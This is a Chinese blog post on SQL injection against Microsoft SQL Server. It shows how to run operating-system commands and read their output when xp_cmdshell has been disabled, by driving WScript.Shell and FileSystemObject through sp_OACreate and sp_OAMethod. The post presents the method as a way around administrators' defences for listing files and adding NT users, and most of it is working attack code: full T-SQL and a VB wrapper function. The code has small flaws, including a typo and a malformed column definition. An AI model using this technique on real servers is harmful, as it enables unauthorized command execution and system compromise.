我的BLOG里有一篇文章介绍了关于SQL注入的基本原理和一些方法。最让人感兴趣的也许就是前面介绍的利用扩展存储过程xp_cmdshell来运行操作系统的控制台命令。这种方法也非常的简单,只需使用下面的SQL语句:
EXEC master.dbo.xp_cmdshell 'dir c:/'
但是越来越多的数据库管理员已经意识到这个扩展存储过程的潜在危险,他们可能会将该存储过程的动态链接库xplog70.dll文件删除或改了名,这时侯许多人也许会放弃,因为我们无法运行任何的cmd命令,很难查看对方计算机的文件、目录、开启的服务,也无法添加NT用户。
对此作过一番研究,后来我发现即使xp_cmdshell不可用了,还是有可能在服务器上运行CMD并得到回显结果的,这里要用到SQL服务器另外的几个系统存储过程:sp_OACreate,sp_OAGetProperty和sp_OAMethod。前提是服务器上的Wscript.shell和Scripting.FileSystemObject可用。
sp_OACreate
在 Microsoft® SQL Server™ 实例上创建 OLE 对象实例。
语法
sp_OACreate progid, | clsid,
objecttoken OUTPUT
[ , context ]
sp_OAGetProperty
获取 OLE 对象的属性值。
语法
sp_OAGetProperty objecttoken,
propertyname
[, propertyvalue OUTPUT]
[, index...]
sp_OAMethod
调用 OLE 对象的方法。
语法
sp_OAMethod objecttoken,
methodname
[, returnvalue OUTPUT]
[ , [ @parametername = ] parameter [ OUTPUT ]
[...n]]
思路:
先在SQL Server 上建立一个Wscript.Shell,调用其run Method,将cmd.exe执行的结果输出到一个文件中,然后再建立一个Scripting.FileSystemObject,通过它建立一个TextStream对象,读出临时文件中的字符,一行一行的添加到一个临时表中。
以下是相应的SQL语句
CREATE TABLE mytmp(info VARCHAR(400),ID IDENTITY (1, 1) NOT NULL)
DECLARE @shell INT
DECLARE @fso INT
DECLARE @file INT
DECLARE @isEnd BIT
DECLARE @out VARCHAR(400)
EXEC sp_oacreate 'wscript.shell',@shell output
EXEC sp_oamethod @shell,'run',null,'cmd.exe /c dir c:/>c:/temp.txt','0','true'
--注意run的参数true指的是将等待程序运行的结果,对于类似ping的长时间命令必需使用此参数。
EXEC sp_oacreate 'scripting.filesystemobject',@fso output
EXEC sp_oamethod @fso,'opentextfile',@file out,'c:/temp.txt'
--因为fso的opentextfile方法将返回一个textstream对象,所以此时@file是一个对象令牌
WHILE @shell>0
BEGIN
EXEC sp_oamethod @file,'Readline',@out out
INSERT INTO MYTMP(info) VALUES (@out)
EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out
IF @isEnd=1 BREAK
ELSE CONTINUE
END
DROP TABLE MYTMP
请查阅SQL Server联机众书里的关于:
sp_OACreate,sp_OAMethod 和 sp_OAGetProperty,以及有关FSO,WScript的文章
另外如果你需要这个软件的示例请留下Email地址,留下地址的我都发了。
以下是一段实现功能的VB源代码:
'strCommand : 需要被调用的命令,如“dir c:/“
'strShell : 调用的Shell程序,可以为“cmd.exe /c“ 或 “command.com /c“
Pivate Function wsShellExec(ByVal strCommand As String, ByVal strShell As String) As String
On Error GoTo errhandle:
Dim rsShell As New ADODB.Recordset
Dim strResult As String
objConn.Execute "DROP TABLE cmds0001"
objConn.Execute "CREATE TABLE cmds0001 (Info varchar(400),ID INT IDENTITY (1, 1) NOT NULL )"
Dim strScmdSQL As String
strScmdSQL = "declare @shell int " & vbCrLf
strScmdSQL = strScmdSQL & "declare @fso int " & vbCrLf
strScmdSQL = strScmdSQL & "declare @file int " & vbCrLf
strScmdSQL = strScmdSQL & "declare @isend bit " & vbCrLf
strScmdSQL = strScmdSQL & "declare @out varchar(400) " & vbCrLf
strScmdSQL = strScmdSQL & "exec sp_oacreate 'wscript.shell',@shell output " & vbCrLf
strScmdSQL = strScmdSQL & "exec sp_oamethod @shell,'run',null,'" & strShell & " " & Trim(strCommand) & ">c:/BOOTLOG.TXT','0','true' " & vbCrLf
strScmdSQL = strScmdSQL & "exec sp_oacreate 'scripting.filesystemobject',@fso output " & vbCrLf
strScmdSQL = strScmdSQL & "exec sp_oamethod @fso,'opentextfile',@file out,'c:/BOOTLOG.TXT' " & vbCrLf
strScmdSQL = strScmdSQL & "while @shell>0 " & vbCrLf
strScmdSQL = strScmdSQL & "begin " & vbCrLf
strScmdSQL = strScmdSQL & "exec sp_oamethod @file,'Readline',@out out " & vbCrLf
strScmdSQL = strScmdSQL & "insert into cmds0001 (info) values (@out) " & vbCrLf
strScmdSQL = strScmdSQL & "exec sp_oagetproperty @file,'AtEndOfStream',@isend out " & vbCrLf
strScmdSQL = strScmdSQL & "if @isend=1 break " & vbCrLf
strScmdSQL = strScmdSQL & "Else continue " & vbCrLf
strScmdSQL = strScmdSQL & "End "
objConn.Execute strScmdSQL
rsShell.Open "select * from cmds0001", objConn, 1, 1
Do While Not rsShell.EOF
strResult = strResult & rsShell("info") & vbCrLf
rsShell.MoveNext
Loop
objConn.Execute "DROP TABLE cmds0001"
wsShellExec = strResult
Exit Function
errhandle:
If Err.Number = -2147217900 Then
Resume Next
ElseIf Err.Number = -2147217865 Then
Resume Next
Else
MsgBox Err.Number & Err.Description
End If
End Function